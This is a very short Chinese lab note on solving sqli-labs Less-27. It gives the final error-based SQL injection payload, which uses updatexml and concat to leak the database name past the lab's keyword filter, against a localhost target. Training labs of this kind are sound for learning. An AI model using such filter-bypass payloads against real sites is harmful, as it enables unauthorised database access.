好狗好狗 百般尝试 最后的payload http://127.0.0.1/sqli/Less-27/?id=1%27and(updatexml(1,concat(0x7e,(database()),0x7e),1))and%271
http://127.0.0.1/sqli/Less-27/?id=1%27and(updatexml(1,concat(0x7e,(database()),0x7e),1))and%271
sqli-labs:less-27 绕过过滤狗
原文：https://www.cnblogs.com/Zeker62/p/15226823.html
